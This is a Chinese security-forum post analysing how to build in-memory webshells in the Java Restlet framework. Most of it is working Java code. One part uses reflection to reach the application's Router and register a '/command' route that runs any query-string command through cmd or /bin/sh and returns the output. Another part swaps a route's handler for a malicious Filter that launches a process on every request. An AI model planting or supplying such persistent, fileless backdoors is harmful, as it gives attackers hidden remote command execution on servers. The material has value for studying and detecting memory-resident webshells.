Restlet内存马构造分析
用户9528 发表于 海南 历史精选 732浏览 · 2024-09-30 08:47

介绍
Restlet框架是使用最广泛的开源框架,为想要创建和使用API的Java开发人员提供的解决方案。https://restlet.github.io/downloads/current/
demo
根据官方文档资料,通过如下代码写一个简单应用:

public class HelloWorldApplication extends Application {
    @Override
    public Restlet createInboundRoot() {
        Router router = new Router(getContext());
        router.attach("/hello", HelloWorldResource.class);
        return router;


    }

    public static void main(String[] args) throws Exception {
        Component component = new Component();
        component.getServers().add(Protocol.HTTP, 12345);
        component.getDefaultHost().attach(new HelloWorldApplication());
        component.start();
    }

    public static class HelloWorldResource extends ServerResource {
        @Get
        public String represent() throws ResourceException {
            return "Hello, World!";
        }

    }
}


router内存马
观察上面的demo,通过router.attach("/hello", HelloWorldResource.class);将该路由进行注册,那在实际构造内存马中,只要能获取这个router实例,便可以调用attach注册路由了,首先用java-object-searcher搜一下:


发现在inboundRoot属性中有org.restlet.routing.Router实例,但是通用性不强,接着便想到是不是有可以直接获取上下文环境的接口,发现了getContext和getCurrent都可以:


接着便可以反射调用了:
先注册添加接口:

router.attach("/addroutermemshell", AddRouterMemshellResource.class);

然后写反射:

public static class AddRouterMemshellResource extends ServerResource {
        @Get
        public String represent() throws ResourceException{
//            Application application = getCurrent();
//            Router router = (Router) getFieldValue(application, "inboundRoot");

            Context context = getContext();
            Object o = getFieldValue(context, "child");
            Router router = (Router) getFieldValue(o, "inboundRoot");

            router.attach("/command",CommandResource.class);
            return "router memshell added successfully!";
        }

    }
    public static class CommandResource extends ServerResource {

        @Get
        public String represent() throws ResourceException {
            String command = getQueryValue("command");

            if (command == null || command.isEmpty()) {
                setStatus(Status.CLIENT_ERROR_BAD_REQUEST);
                return "No command provided!";
            }

            String os = System.getProperty("os.name").toLowerCase();
            String finalCommand;

            // 根据操作系统选择命令
            if (os.contains("win")) {
                finalCommand = "cmd /c " + command; // Windows
            } else {
                finalCommand = "/bin/sh -c " + command; // Linux
            }

            StringBuilder output = new StringBuilder();
            try {
                Process process = Runtime.getRuntime().exec(finalCommand);
                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                process.waitFor();
            } catch (IOException | InterruptedException e) {
                e.printStackTrace();
                return "Error executing command: " + e.getMessage();
            }

            return output.toString();
        }
    }
    public static Object getFieldValue(Object obj, String fieldName) {
        if (obj == null || fieldName == null || fieldName.isEmpty()) {
            return null;
        }

        Class<?> clazz = obj.getClass();

        // 循环查找当前类及其父类
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true); // 允许访问私有字段
                return field.get(obj);
            } catch (NoSuchFieldException e) {
                // 如果当前类没有这个字段,继续查找父类
                clazz = clazz.getSuperclass();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
                return null;
            }
        }

        // 如果未找到,返回 null
        return null;
    }

正常这个路由是没东西的:


添加内存马:


访问成功:


filter内存马
Restlet中也有filter的实现,但是这个filter得自定义,因此将开头的HelloWorldApplication修改一下:

public Restlet createInboundRoot() {
        Router router = new Router(getContext());
//        router.attach("/hello", HelloWorldResource.class);
//        router.attach("/addfiltermemshell", AddfilterMemshell.class);
//        return router;

        MyFilter filter = new MyFilter();
        filter.setNext(HelloWorldResource.class);
        router.attach("/hello",filter);
//        router.attach("/hello",HelloWorldResource.class);
        return router;


    }
    public static class MyFilter extends Filter {
        @Override
        protected int beforeHandle(Request request, Response response) {
            // 在请求处理之前执行的逻辑
            System.out.println("Incoming request: " + request.getResourceRef());
            return CONTINUE;
        }
        @Override
        protected void afterHandle(Request request, Response response) {
            // 在请求处理之后执行的逻辑
            System.out.println("Outgoing response: " + response.getStatus());
        }
    }

自定义了一个filter,用setNext方法设置资源为自定义的类,然后在HelloWorldResource类中写一行Application current = getCurrent();下断调试一下:


发现获取的Router实例中有个routes的list,其size代表了注册的路由个数,每个元素都是一个TemplateRoute实例,其next属性则是我们自定义的filter,那这里是不是可以根据调用链将TemplateRoute实例的next属性设置为恶意的filter实现针对具体某个路由呢(或者全部)?
这里测试针对/hello这个路由(共有两个路由/hello /test):

public static class AddfilterMemshell extends ServerResource {
        @Get
        public String represent() throws ResourceException{
//            Application application = getCurrent();
//            Router router = (Router) getFieldValue(application, "inboundRoot");

            Application application = getCurrent();
            Router router = (Router) getFieldValue(application, "inboundRoot");
            RouteList routes = (RouteList) getFieldValue(router, "routes");
            for (Route route: routes){
                Object template = getFieldValue(route, "template");
                String pattern = (String) getFieldValue(template, "pattern");
                if (pattern.equals("/hello")){
                    route.setNext(new MemshellFilter());
                }

            }
            return "filter memshell added successfully!";
        }

    }
    public static class MemshellFilter extends Filter {
        @Override
        protected int beforeHandle(Request request, Response response) {
            // 在请求处理之前执行的逻辑
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
            return CONTINUE;
        }
    }

运行结果:


仅对/hello触发:

0 条评论
某人
表情
可输入 255
目录